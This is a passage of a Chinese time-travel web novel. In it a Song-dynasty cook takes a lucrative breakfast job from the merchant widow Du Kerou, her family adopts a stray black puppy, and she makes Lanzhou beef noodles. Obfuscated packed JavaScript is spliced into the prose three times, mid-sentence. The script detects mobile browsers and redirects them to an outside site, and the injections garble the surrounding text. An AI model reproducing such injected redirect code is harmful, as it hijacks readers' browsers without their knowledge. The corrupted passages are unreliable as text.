姜宝珠一眼就看到牙刷和牙粉。家里用的牙粉是阿娘自己用皂角，地黄等材料熬晒后研磨的粗粉。牙粉行买的要贵些，几十文百文不等，里头会加芳香，固齿等药材。 而眼前这牙粉显然是富贵专供。洁白如雪不说，粉质还微微闪着细光，不知是不是加了珍珠粉和金箔…… 牙粉旁边还有一小碟同样昂贵的鸡舌香。鸡舌香大概相当于此间的口香糖，不少官员上朝前都会口含一粒。有关这类“口香糖”，还有一则前朝轶事： 侍中大臣随侍时曾被汉恒帝赐过一粒鸡舌香，让他含嘴里。他不识此物，鸡舌香辛辣麻蜇，他便以为是毒药，都开始准备后事了，才碰到明白人告诉他鸡舌香的效用。 侍中这才了然汉恒帝深意： 爱卿口臭，熏到朕了…… 美人软塌正对的墙边放着一架梳妆台，上面的妆品全部极尽奢华，很多都是市面上买不到的。姜宝珠也算开了一番眼： 这玉女桃花粉，差不多相当于CHANEL粉底吧； 七香唇脂？看这颜色和滋润度，有些像YSL唇釉呀。 雪肌玉容膏——好一个大宋Lamer。 啧，这尚药秘制驻颜脂……可能就是根据个人肤质特制的贵妇面霜吧…… 好似那头回进大观园的刘姥姥，姜宝珠的视线在房中眼花缭乱过一大圈，最后停留在角落里的矮几上。 一盏定窑白瓷灯旁，小小字笺被镇尺压得平展，旁边还放着笔墨。 上前两步，她瞧见琦姐儿的字迹：孔子和孟子，有何不同？ 姜宝珠莞尔，提笔蘸墨，在“孔”字左半部分和“孟”字的上半部分分别画了两个圈。 落笔时她心绪又一晃：春兰那日拿走两枚小饼，另一枚里的字条是什么内容啊？ 没摆在这里，难不成她家贵人已经猜出来了？ 房外响起轻缓脚步声，姜宝珠站直转过身，正和进来的人打上照面。 看清对方面容后，她脑中只跳出八个字： 眉目刚烈，美艳威仪。 大宋以简约素雅为美，此间女子也大都追求纤柔婉丽，清雅内敛的审美——眼前女子显然非主流审美，倒有几分前唐风韵。 她穿一件无袖褙子，细而精致的蛇形金臂钏圈圈缠绕大臂，微微勒肉——太瘦的手臂也不适合戴臂钏，就是要这样珠圆玉润，恰到好处的丰腴。 同理，贵女的脸似乎也不宜过于骨感，面若银盘配一双从容的眼，三分威仪，七分笃定。 杜克柔微微颔首：“姜娘子久侯了。” “贵人客气。”姜宝珠福了福身。 不等她开口询问，杜克柔这厢已接上话：“贸然邀娘子前来，还未自报家门，实属唐突。” “本家姓杜，洛阳人士，祖上是做花卉生意的，五年前举家迁京来。” 姜宝珠恍然，又看人头上簪的那朵三色绝品牡丹。 “难怪。如今秋深日凉，杜娘子这里照旧牡丹花开，富贵满堂的。” 杜克柔莞尔：“贵客们爱花，我也是投其所好。” 姜宝珠抬眸周遭：“娘子此间……可是洗面行？” “是了。”杜克柔朝墙边妆台一扬手，“我平日惯爱搜罗些时兴妆品装束，这门生意也算自得其乐。” “可如今洗面做得，梳发点妆也做得。贵客若要澡浴濯足，嗐，那自然也得做。” 姜宝珠从这幽幽一叹中，听出些许同命相连的伤感——做生意果然都不容易啊。 所谓钱难赚—— “今日邀姜娘子前来，也是有事相求。”杜克柔不兜圈子，开门见山道。 姜宝珠愣了下：“‘求’之一字，我可担待不起。” 三思后言总不会错，她继而缓声道：“不知何事困扰杜娘子？若能帮得上忙，我愿尽绵薄之力。” 杜克柔浅笑：“定是姜娘子力所能及之事。” 她抬手向门，引人缓步往外走：“净容梳妆费时，贵客们免不得要用些吃食——若只是垫腹果子也罢，可有好几位贵客总是闻钟而起，清晨便来，这洗漱熏香过后，便想起用朝食。” “实不相瞒，我也请过名家大厨坐阵，可不知是运气不佳还是怎的，这朝食换过几轮，总不得客人心意。” 她顿住话头，冷呵出一声：“隔壁那丰泰楼不知哪儿得了风声，这几日竟也做起洗面净容的营生——你说，这是不是摆明跟我作对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630877|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抢客？” “原来如此……”姜宝珠反应过来，“这般说来，杜娘子是想我来做这朝食？” “只是……名厨之手尚且难合尊口，只怕我这小摊手艺……” “姜娘子何必妄自菲薄。”杜克柔了然轻笑，“你那食摊虽不大，乾坤却不小：带花丝脆底的煎角儿巧思绝妙，还有前几日的小饼——姜娘子是如何想出冰皮藏套盒的妙招的？只一个中秋，娘子的入账怕比郑记半月还多。” “哦，更别说那鸭血索粉羹——我家二郎虽还没喝上，已夸得如琼浆玉液一般呢！” 姜宝珠听得一愣又一愣。 ——不是，那大孔雀衙内居然是杜娘子的弟弟！ 对哦，他们俩都姓杜。 重点是，人家这是已经将她的底都摸清了啊…… 正不知如何回话时，身侧杜娘子倏尔停下脚步，抬手示意前方。 姜宝珠端量片刻才反应过来。 不怪她，谁家会把灶房修得飞檐翘角，如堂屋一般啊！ 推开房门，虽早有预料，她依旧被震了一下——比进大门时那下还结实。 青砖砌就，紫石板铺面的巨大七星灶，一般的食肆饭馆都没有。一个洗面行后厨，竟有大酒楼配置。 除了灶台，这灶房还设有独立点心台，同时配有用于烘烤的敞口炉。 炉子旁边的墙角处有一根打通竹节的水管，直接将院中活水引入室，比他们家桶打井水还要方便。 水管旁则是一扇紧闭的木门，上面写着“冰窖”二字——那这里就可以做冷饮了！ 灶具厨具就更不用说了：除了灶眼上的黄铜双耳锅，墙上还挂着一排熟铁锅具，下头则是成套的夹钢菜刀，从厚重的斩骨刀到处理瓜果的小刀样样俱全。 餐盘碗碟全都整齐收在木柜里，皆为金银材质。 ——所有的这一切，都不如那一排带盖的琉璃小罐对姜宝珠有吸引力。 凑近瞧，她看到细白如雪的面粉，普通人家不舍得用的糖霜——居然和后世的白冰糖很接近了。 还有很多漂洋过海而来的调料：丁香，肉豆蔻，番红花，以及胡椒。 姜宝珠盯着那满满一罐黑色小圆粒，仿佛看到黄金在汩汩流淌…… “姜娘子负责朝食时，这灶间所有尽可随意取用。”杜克柔在她身后道，“若食摊有所需求，也尽管往家拿。” 姜宝珠转过身，双眸荧荧明亮。 作为一个厨子，能在这样堪称豪华的灶房里颠勺，简直是老鼠掉进米缸——很难说不啊！ “不知……贵客们有何口味偏好？”她谨慎询问道，“杜娘子对朝食又有何要求？” “滋味自然是最紧要的。虽说众口难调，却也不好汝之砒霜，他之蜜糖。” 杜克柔气定神闲地踱进灶房：“其次，最好如你那蝶翼花网，冰皮小饼一样少见新奇——贵客们哪位不是遍食人间珍馐？这最难得啊，便是一个新奇。” “还有，既是贵客，咱这食材用料，定然也要金贵些——坊间那寻常野味，便宜肉类，皆免了罢。” “……” 所以，要味道好不说，还要大众口味的新式菜品。 然后还必须贵？ 这活儿可真不好干啊。 常言道，没有金刚钻，就别揽瓷器活…… 姜宝珠尴尬地弯了弯嘴角：“承蒙杜娘子抬爱，奈何小女子厨艺尚浅，为免怠慢府上贵客——” 杜克柔微微一笑：“每日工钱一千五百文。” “……我自当潜心钻营菜式，定将这朝食做得可口又体面！” 26. 捡到小狗 杜克柔不着急，只道姜宝珠几时定好菜式，几时过来上灶试做。 沿着游廊走到前厅，短短一段路，姜宝珠在心里懊恼唾弃了自己五六七八回。 ——你可真是见钱眼开，财迷心窍第一人啊。 什么活儿都敢接，什么钱都要赚呐你！ 可是话又说回来……每日工钱一千五百文，一千五百文啊！ 这可比她晚上摆摊赚的还要多。 如今早晚都有的赚，每日便有两三贯钱入账。再加上月饼赚的，不出一个月，她手头就能有百贯钱。 ——盘店开食肆的事不就成了么…… 左右脑激烈互搏几回合后，姜宝珠已行至大门。 盈盈福身和杜家娘子告别，她余光忽地顿住。 “这是何物？” 杜克柔瞥到门口，扶额轻叹：“是我家那二郎唤人搬来的草料。” 昨日他闹脾气被父亲用了家法，挨过打后又跑她跟前哭了好一鼻子。她心一软，便许那混球儿来洗面行住几日…… “他有一骢驹坐骑，性情和他一般顽劣——隔些日子便要这边疆来的草料换换口味，否则宁可饿着也一口不进食。” 边疆？ 大宋的边疆应该是……那她多半没看错了。 姜宝珠凑到门口打量发黄的灰白草株，唇角不自觉上扬：“杜娘子，这可是长于戈壁的蓬草？” “蓬草？”杜克柔眉心微蹙，“这……我也不知晓。不过二郎那驹儿确是生于戈壁旱地。” 姜宝珠福身请求：“杜娘子可代我问过二公子，能否分一些草料与我？不多——” 她两手比出一面盆大小：“如此便足够了。” 杜克柔豁然一笑：“我素来能做那混球儿的主——你只管拿便好。” 厨房里金贵的食材调料这小娘子一样没动，如今却讨要干巴巴的野草，她不由好奇：“姜娘子要这草料有何用？” 姜宝珠不自然地扯了扯嘴角——总不好说是跟马儿抢吃的吧…… “古籍中曾读到此草料的另一用法，成不成还未可知呢……” 含糊其辞后，拜别杜娘子。姜宝珠没回家，又拐去肉案行。 她运气相当不错，还真碰上卖牛肉的了。 想在大宋吃口牛肉可不容易，牛作为农耕用具，律法下令严禁私人屠宰。市面上公开售卖的这些牛肉，都是向官府申报获批后宰杀老死的牛，数量很少，售价亦高。 那书里那些梁山好汉动不动喝酒吃牛肉是怎么回事啊？姜宝珠也是穿过来后才搞清楚——总有胆大不怕下狱的，这明面上卖牛肉的不多，黑市里偷偷宰杀的牛可一点不少，价格还更便宜哩。 姜宝珠花四百文才买到半斤牛肉，黑市上可能一百多文就能买到一斤肉质更好的…… 拎着宝贵牛肉往家走，行至巷口，忽见墙边立着一小小身影。 “琦姐儿？”姜宝珠十分诧异，“你怎的还没回家？” 此时距离她们分开已过去半个时辰有余，天都黑透了。 “三姐姐，我……”姜宝琦吞吞吐吐，面带愁容。 “出甚么事了？”发现小妹一直瞟灶车下的钱篓子，姜宝珠心里咯噔一下，“莫不是……灶车遭贼了？！” “不是……”姜宝琦无声失笑，抿抿唇没解释，只俯身将钱篓子拿出来。 姜宝珠一惊，下意识时往后退。 娘嘞，这钱篓子咋自己在动！ 篓上罩的白色纺布移了位，随后咻地——冒出一个毛茸茸，圆滚滚的小脑袋。 姜宝珠“呀”出一声：“哪儿来的小狗啊！” 还是只通体黑黢黢的小煤球！ “我也不晓得。”姜宝琦摸了摸狗头，嘴角噙上笑，“走到半路听见动静，我才发觉狗儿在车里——三姐姐，你说它是几时跑进去的呀？” 什么时候跑进去的没人知道，可狗子显然枕着铜钱睡了个好觉。 此时被人扰醒，它还懵懵的，一双豆豆眼茫然四顾，瞧见姐妹俩后又刷地一亮，小尾巴随即摇起来，两只小前爪也扒上竹篓沿。 姜宝珠被萌的“哦”出一声，这才发现小狗并非浑身全黑——它的尾巴尖尖，四只小脚皆雪白。 最特别的是它额头上还有一撮小白毛，宛如两眼之间又生出第三只瞳。 “好别致的小狗儿啊。”姜宝珠赞着，上手就撸起狗来。 “是呢，我一见便觉着憨态可掬！”姜宝琦，“三姐姐，我想将这狗儿带回家……” 姜宝珠明白过来：“你是忧心爹爹不允养狗罢？” 姜宝琦叹息一声：“爹爹定然不会应允的……” 姜宝珠也在心中叹了口气。 是啊，若将这来路不明的小狗贸然带回家，姜老爹怕是得俩眼一黑…… 似是感应到两人之间的低气压，狗儿细细哼唧出一声，随后两条后腿卖力一蹬，颤巍巍地拱进姜宝珠怀里。 被投怀送抱的姜某人心一下就化了。 呜呜呜，这还是只小奶狗呢。 估计也就两三个月的样子，浑身上下还是软绒绒的胎毛。小奶狗不知道是走丢了还是没了妈妈，小脑袋依恋地往人胳膊里扎，黑鼻子湿漉漉的，小舌头热烘烘…… 姜宝珠深吸了一口气，同时下定某种决心：“走！咱将狗儿带回去再说。” 姜宝琦一振：“好！” 姐妹俩抱着狗，推着车走到家门口。姜宝琦才推开院门，便和急寥寥往外走的人撞了个满怀。 瞧见俩女儿全须全尾站在眼前，姜明远松了口气：“怎回来这般迟？我和你们阿娘急得都要出去寻人了！” 付惜音的声音传出来：“可是两姐儿回来了？” 姜明远正要应声，忽而瞪大眼：“珠儿，你怀中是何物？” 不等人回话，他又直挺挺“咦”出一声：“你怎捉了只耗子回来？！” 付惜音闻声匆匆而来，瞧见女儿怀中物，也嗷地“咦”出一声——和姜老爹那声含义完全不同：惊讶的，欣喜的。 “哪里来的小罴崽子哟！” 姜宝珠无奈笑，只好托起臂弯中的无辜小脸给他们看——不是老鼠，更不是熊崽，而是一只可爱小狗狗哟！ 意料之中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635513|185764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，果不其然的，姜明远并不欢迎这可爱之客。 “莫不是哪家走丢的狗崽？你们怎好随意拿家里来？” “女儿沿途问过多人，又在巷口等了好些时候，未见有人来寻。”姜宝琦将井水倒入洗净的破碗中，放在小狗面前，“定是旁人家不要的，或是野狗儿下的小崽……” “既如此，明日寻户养狗人家送走便好。”姜明远道，“咱家总是不好留这毛茸茸的活物……” “为何？”姜宝珠幽幽看他一眼，“爹爹当真厌恶小动物么？那墙边两只鸭雏从何而来？” 她很小声：“不知是谁年少时抱着狸奴习字来着……” “……” 姜明远嗔了眼泄密的娘子，强辩道：“那狸奴——狸奴和狗儿岂能一概而论？狸奴喜洁，每日自行将毛发打理得干干净净。你再瞧这——” 他颇为嫌弃地瞥向地上的小黑狗。 小家伙刚一口气喝掉大半碗水，此刻仰起脸打量一家人，嘴上一圈水珠便滴滴答答落了一地。 “狗儿惯爱泥里滚，田间趴，总没个干净时候。”突然想起什么，姜明远猛吸一口气，“它若屙在院中——” “不会的！”姜宝琦连忙道，“狗儿聪慧易训，最懂规矩了。女儿愿为狗儿按时沐浴，日日梳理。” “……” 俩女儿一唱一和的，显然是有备而来。姜明远辩不过，一时语塞。 目光略过院墙，他眼眸一亮：“若狗儿养在家中，鸭雏如何是好？” “你阿娘辛辛苦苦喂了这些时日，总不好变作狗儿腹中餐罢？” “更要紧的是，这狗儿若在外咬了人，为父又该如何交代？” “哎呀爹爹——”姜宝珠无奈干笑，“那俩鸭雏每日追着女儿的脚跟啃，凶得很，谁咬谁还说不准呢！” 小狗似乎是听懂了人在议论自己，也煞有介事地坐下。 可不知是年级太小还是肚子喝得圆滚滚，它胖嘟嘟的身体失了衡，“啪叽”摔了个屁股墩。 姜宝珠看笑了：“就它还咬人……瞧这模样，遇上只耗子怕都要生死一搏罢！” “……” 姜明远看着在地上打滚的小黑狗，抿抿唇不说话了。 倒也不是松口了，只是真没招儿了。 付惜音瞟了眼官人讳莫如深的脸色，轻声开口：“我听说黑狗乃是吉祥之物，可镇宅驱邪呢……” 姜宝珠瞬间福至心灵：“是哩！爹爹可听说过‘猫来富，狗来财’？” “这狗儿还是自己钻进灶车，卧进钱篓的——女儿的生意怕是要财源滚滚来啦！” 姜明远眸光动了动：“当……真？” 凡是牵涉到一说家宅吉利一说，总得慎重。 若再和钱扯上干系，更要慎之又慎了…… 一家人正沉默胶着时，地上摔倒的小黑狗终于站了起来。 庆祝似地追着自己白色的尾巴尖跑了一圈，它甩甩脑袋，哒哒哒地走到姜明远身边。 委屈巴巴的豆豆眼和愁眉苦脸四目相对，小狗鼻尖耸了耸，慢慢地将嘴筒子搭上姜老爹膝头。 27. 兰州牛肉面 奶狗脑袋毛茸茸温热一团，没什么重量，姜明远却膝上一软，浑身一僵。 姜宝珠心头大喜：真是聪明好狗狗！ 爹爹，快瞧瞧这我见犹怜的小脸儿吧，不信你两眼空空…… 一人一狗端端对望着，小黑煤球尾巴忽而摇了摇，“呜”出一声，随后嗖地往姜老爹腿上蓄力一跳—— “休，休得无礼！”姜明远大惊失色，慌张后仰，直挺挺跌下凳子来。 “这摔坏可如何是好！”付惜音惊呼一声，慌张上前。 姜明远龇牙咧嘴地朝人伸过一只手，却见自家娘子蹲下身，抱起了摔得四仰八叉的小狗。 “官人何以这般计较，不过一奶狗娃儿！” “……？” 姜明远瞠目结舌。 他计较？ 难不成娘子只瞧见狗娃儿摔了，没瞧见他的屁股也差点摔成八瓣么！ 何止娘子，他那两件小棉袄也全然无视地上的老爹，只一脸心疼地哼哼唧唧的小狗。 “……” 家风炎凉，炎凉至此啊！ 姜明远只能自行站起来，又深叹一口气：“这狗娃儿……便依你们罢！” 哪还能送得走？ 奶狗若明早送走，这家怕不到晌午就得散！ 何况这煤饼似的狗儿如今和钱篓已绑上关系，把它送走，往后珠儿的生意不顺，他可担不起这罪名啊…… 爹爹松了口，娘仨高兴得不得了。 姜宝珠想带小狗去猫狗行做个检查，奈何时间太晚，只能先煮了个鸡蛋喂饱它。 她阿娘也翻出不少旧布料烂衣裳，给狗儿在柴房搭了个小窝。 绮姐儿怕小家伙冻着，又灌了个汤婆子放到狗窝里。 一直忙活到深夜，一家人才打着哈欠各回厢房。 姜宝珠睡得很不踏实，心里一直牵挂着小狗。后世虽然没养狗，但她也做过不少功课：才离开妈妈，又到了陌生环境，小奶狗因为没有安全感，刚回家的前几夜总是会叫的。 那柴房乌漆嘛黑，它还那么小，该有多害怕啊…… 床上翻来覆去好一会儿，姜宝珠还是一跃而起下了床。 走到门口刚要出去，忽而听见外头有脚步声，很轻。 她贴着门缝往外探，看见琦姐儿正蹑手蹑脚地走进柴房。 不一会儿，小姑娘就连狗带窝都抱出来，还冲一脸困容的小狗做了个噤声的手势。 见人抱着狗悄悄回了东厢房，姜宝珠弯了弯嘴角，重新躺回床上。 一夜好眠。 姐俩睡得恁晚，起得自然也迟——姜宝珠更迟，是被小妹扣门的声音叫起来的。 她下床打开门，便见琦姐儿一脸慌张：“三姐姐，狗儿不见了！” 姜宝珠怔了下：“狗儿昨夜不是在你厢房？” 姜宝琦也顾不得究极姐姐是如何发现的，只道：“我怕爹娘知晓，一早便将狗儿放回柴房了……” “可补眠过后再醒来，家中便不见狗儿了！” 姜宝珠皱起眉，匆忙罩了件褙子出厢房寻狗。 琦姐儿跟她身后欲言又止：“爹爹和阿娘也不在家，你说会不会……” 她话说一半，姜宝珠已然明了，心下不由一沉。 沉吟片刻刚要开口，院门忽而从外头打开。 付惜音怀抱黑黢黢的小狗喜笑颜开走进来，后头跟着面无表情的姜老爹。 “见你们睡得沉，我们便先行去了猫狗行。”付惜音跟女儿们笑吟吟道，“那掌柜的说这奶狗娃儿最多两月大，无病无疾，生得结实得很哩！” “买了些许饧糠，还有这——”付惜音从袖中拿出一条项圈，上面还挂着薄薄一片木牌，她又压低声音道，“都是你们爹爹花钱买的呢！” “不，不买饧糠，难不成日日煮鸡子喂它？”姜明远连忙道，“鸡子多贵哩！” “是呢，官人说得是！”付惜音赶紧附和道，随即又和两个女儿交换起眼色。 娘仨心照不宣地掩唇一笑。 姜宝珠从灶房又翻出一只废木碗，倒入半碗饧糠——这酒糟米糠做的古代狗粮应该挺香，煤球狗儿二话不说便吃起来。 狼吞虎咽，吃相赛虎。 姜宝珠看着哐哐干饭的小狗，笑道：“琦姐儿为这小狗儿取个名儿罢？” 毕竟是小妹捡到的小狗嘛。 姜宝琦思忖了下：“还是三姐姐取名罢。” 若不是三姐姐拿定主意，这狗儿也进不了家门。 姜宝珠大手一挥：“就叫‘旺财’嘛！” 一旁的姜老爹嫌弃啧出一声：“你唤句‘旺财’，这巷中少有七八只狗儿应声！” 姜宝珠想了想，又道：“那……便叫‘富贵’？” 姜明远摇摇头：“总不好给狗儿取这般大的名儿，恐压不住，反致祸患。” 有道理，不过姜宝珠也想不出旁的了：“那……爹爹取一个好了。” 姜明远捋着须发皱眉思索片刻：“不如……便叫‘平安’罢？往后这狗儿跑进跑出，咱家也算出入平安。” 姜宝珠眼睛一亮：“这个好哎！” 富贵固然可求，可盆满钵满的日子她后世难道没有过吗？ 又如何呢？ 再活一世，老天待她不薄。只要家人平安无虞，衣食无缺，便是最好的日子了…… 小狗儿便唤作“平安”。 看爹爹拿出笔墨，在狗儿项圈木牌上郑重写下“姜平安”三字时，姜宝珠无声扬唇。 好家伙，昨儿还要把人家赶出门，今儿就抬上家姓了。 他明明超爱…… 戴上署名项圈，姜平安小狗还不太适应，龇牙咧嘴地咬起木牌，又把自己摔了个屁股墩。一家人乐乐呵呵看着，姜宝珠又说起昨日洗面行所见所闻。 听到对方是洛阳杜氏，姜明远立时瞪大眼：“可是那杜姓豪商？” 姜宝珠点头：“确实说是做花卉生意的……” “噫——人家那可不是普通生意哟！” 洛阳杜氏，几代花商，牡丹花王培植好手。 据他们家不但能种出极为罕见的多色牡丹，还培育出了不畏严寒的花种，秋冬也能花开满园，不逊春色。 当然最绝的，还是杜氏一门独有的牡丹花王，据传那花王有六七尺之大，盛开之时漫天馥郁，真真名动京城。 “若想一睹角色，仅是入园钱都要上百贯哩！”姜明远道，“还不是甚么人都能进的。” 怪不得。姜宝珠在心中暗叹，有钱至此，也难怪一个后厨便那般豪奢了…… 杜家的牡丹珍贵稀有，售价自然不斐，据传宫里的贵人娘娘都会簪他们家的花呢。 姜明远又问女儿：“昨日和你打交道的，可是那杜家的大姑娘？” “是。”姜宝珠点头，“那杜娘子行事爽利，又通情达理，不难相与呢。” 姜明远欲言又止，讳莫如深地对女儿道：“那杜娘子……可是还在娘家门上？” 姜宝珠愣了下才猛然反应过来——她对这些也太不敏感了，后知后觉才意识到杜娘子梳的那高高发髻是妇人装扮！ 她声音不自觉压低：“她……成亲了？” “成过。”姜明远悄声道，“还是望门寡！” 姜宝珠目瞪口呆。 未婚男女定亲，还未正式成亲未婚夫便过世，女方因此守寡的现象便叫“望门寡”。 可是，杜娘子的未婚夫当初可不是意外去世的——那洛阳县令幼子重病多年，早如活死人一般。 杜娘子是自愿嫁与将死之人的。 成亲过后没过几日，她那官人便一命呜呼了。 而后没多久，杜家便举家搬迁来京。如今他们的花卉生意愈发兴旺不说，还涉足香薰，黄金买卖，风头正盛。 话说回来，程朱理学此时还不成气候，大宋在男女婚嫁方面其实颇为开放，更没有硬要女子守贞守寡一说——二婚当皇后的都有，那杜娘子想要再嫁完全可行。 可她却一直没有再嫁人。传言道有大师早就为杜娘子相过一卦，直言她煞重克夫，天生寡妇命。如此一来她才独身至今——谁会上赶着“送死”啊！ 杜娘子一直在娘家门上帮忙打理生意。她颇有经商头脑，都说杜家表面上是杜老爷当家，可实际主事的，却是他那个望门寡女儿…… 姜宝珠听爹爹说完后怔然半晌，深深吸了口气：“哇——” 简直吾辈楷模啊！ 她严重怀疑这杜娘子大约是位独身主义者，只是女子大龄不嫁的麻烦，比守寡再嫁来的只多不少，所以她才寻摸出望门寡这么一条路。 等她赚够了钱，底气更足些，不知能不能照猫画虎：寻个天高路远的短命男人，待他一命呜呼，她便能回家照旧过日子，还不耽误继续赚钱！ 当然，如此辟蹊径，离经叛道肯定不容易，可在如今这个时代，这是不是也能算作一条自由之路呢…… “珠儿，那杜娘子可不是寻常人物。和她来往者亦然。”女儿接下这高价朝食活儿，姜明远自然为她高兴，可更多的还是忧心，“你跟他们打交道，务必谨言慎行啊。” 姜宝珠缓慢点头，郑重应下：“爹爹放心，女儿知轻重。” 说完她发愁更甚——所以，那洗面行的朝食，到底做什么合适呢？ 洗面行的朝食暂且做不出来，但自家的饭总不能不吃了。 姜宝珠走进柴房掀开锅盖——不错，这牛肉牛棒骨浸过半晚上，血水和杂质都泡出来了。 她起锅开始吊高汤。做惯了鸭羹，熬汤的步骤差不多，姜宝珠驾轻就熟：牛肉整块不用切，和牛棒骨一同冷水下锅，加葱姜和香料煮开，小火且熬着便好。 家里有菜地就是方便，姜宝珠在地摘了些芫荽（香菜）和蒜苗，又打发琦姐儿去外头买一个莱菔（白萝卜）回来。 食材都备好，接下来要做的便是和面了。和面简直就是家常便饭，可姜宝珠今日格外振奋，因为她要做的是大名鼎鼎的兰州牛肉面。 后世去西北游玩那阵应该算她春风得意时了——做博主赚到了第一桶金，又值大学毕业，彼时她只觉前途一片光明，有的是大好年华任她挥洒…… 兰州是西北之行的必经之地，而牛肉面馆则是每个游客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如此加个三次，便能做出师傅口中的“三遍水三遍灰，九九八十一揉”的灵魂面团了。 蓬灰水虽然关键，揉面的手法也同样重要：将面团搓成长条，再压成麻花状，然后对折抻开，捋一捋——这样的过程重复几次，就是在给面团溜条顺筋。 筋骨活络的面团分成四个圆柱剂子，姜大厨便可以开始拉面表演了。 面剂“哐”的一下咂上案板，姜家其余三人闻声而来。 可还没看清怎回事，姜宝珠手中的一团面就变成一把索饼了。 素手轻扬，索饼飞入铁锅，溅起滚滚白浪。 “娘嘞……珠儿这灶上功夫快赶上幻术戏法了！”付惜音喃喃道。 姜明远赞许啧出一声：“当真是行行出状元——咱珠儿这手索饼功夫，不输那点茶斗茶的绝技哩！” 蒜苗香菜切碎，煮好的牛肉，烫熟的白萝卜切薄片，煮熟的面条一同整齐码进碗中，哦，还要加上一大勺自制的茱萸芝麻油。 如此，这正宗兰州牛肉面的一清（汤清），二白（萝卜），三红（辣油），四绿（蒜苗），五黄（面条），此刻也算凑了个齐全。 四碗热气腾腾的面条上桌，各不相同：爹爹的是韭叶宽，阿娘喜欢软口，姜宝珠便给她做了“毛细”；琦姐儿那碗如钢笔芯粗细，姜宝珠的“二细”还要再粗一点。 一家人顾不上互相瞧，拿起筷子便吃起来。一时间满院除了面条吸溜声，就只剩平安小狗被馋得吱哇乱叫。 一筷子面条裹着厚实的牛肉片入口，付惜音眼睛都亮了：“珠姐儿，这索饼恁筋道！这个香……说不上来的香哩！” 姜宝珠莞尔。她知道阿娘说的这个香是什么香——加了蓬灰水的面不仅口感强韧，更有这般难以复制的特殊香气。 四大碗面条各下各肚，姜宝珠却没有放下碗：“这羹也好喝——不饮牛肉羹，便算不得吃过这牛肉索饼！” 听罢这话，其余三人立马重新捧起碗大口喝汤。 ——幸而听了厨子的话，否则便错失这精华中的精华！ 和奶白鸭羹完全不同，这牛骨牛肉文火慢熬出的汤羹茶色琥珀般透亮，香醇浓厚，再经香菜蒜苗提味，添茱萸红油焦香辛辣——一口汤入喉，香味在口中交织升华，浑身都热起来。 姜明远将碗底喝了个干净，抹掉鼻头的汗珠，他满足喟叹：“珠儿，你这索饼手法，还有添的草木灰都是从何得来？为父可从未在市面上见过此般做法啊！” 姜宝珠拿出之前含糊杜娘子的说辞：“女儿在洗面行的一本古籍中偶然读到，此类索饼源于边疆。” “边疆……”姜明远感慨又神往，“都道边疆苦寒，我却以为那疆土人情也是别有风味——好些特色吃食京中怕都难寻呢。” “可不是，那书中记载的边疆美食可多呢，除了这索饼，还有和索饼同吃的大盘鸡，还有——” 姜宝珠忽而停下话头，眼眸一亮。 想到了！ 她想到洗面行的朝食做什么好了！